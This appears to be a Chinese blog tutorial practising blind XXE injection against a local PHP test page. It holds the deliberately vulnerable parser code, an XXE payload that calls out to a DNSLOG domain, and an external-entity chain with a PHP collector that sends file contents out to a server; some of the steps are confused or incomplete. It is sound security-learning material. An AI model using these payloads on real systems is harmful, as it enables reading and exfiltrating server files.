无回显练习~XXE注入

在这里插入图片描述
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害。

blind xxe (盲注)可以使用外带数据通道,提取数据 ;
# 编写一个1.php的文档,输入一下内容
<?php
error_reporting(0);
$string_xml = '<?xml version="1.0" encoding="GB18030"?><note><to>George</to>
<from>John</from><heading>Reminder</heading><body>xml_stzr</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo '<meta charset="GB18030">';
?>

image-20240730143320270

登录127.0.0.1/1.php后发现页面空白,证明没有回显

# 我们登录http://dnslog.pw/dns/来查看我们直接的域名

image-20240730143857085

# 然后我们通过DNSLOG来外带测试
<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "http://mazha.dnslog.pw">]>
<c>&b;</c>
# 将其中的域名改为自己的并进行编码

image-20240730144030635

# 自己构建外带写入文件 重点中的重点
# 创建evil.xml 文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?
file=%file;'>">

image-20240730150319701

# 创建一个1.php进行编码
<?php file_put_contents("1.txt", $_GET['file']); ?>  
# 并且在c盘下创建一个1.txt文件

image-20240730150548309

# 创建一个2.php
<?php
error_reporting(0);
$string_xml = '<?xml version="1.0" encoding="GB18030"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml_stzr</body></note>';

$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;

$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo '<meta charset="GB18030">';

?>

image-20240730152832394

# 最后把1.php中的代码编码后放到2.php后面
?xml= 编码

image-20240730153036251

# 发现在www目录下找到了1.txt文件,内容也显示出来了

image-20240730153125565

发现在www目录下找到了1.txt文件,内容也显示出来了

好小子,离成功又近了一步!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值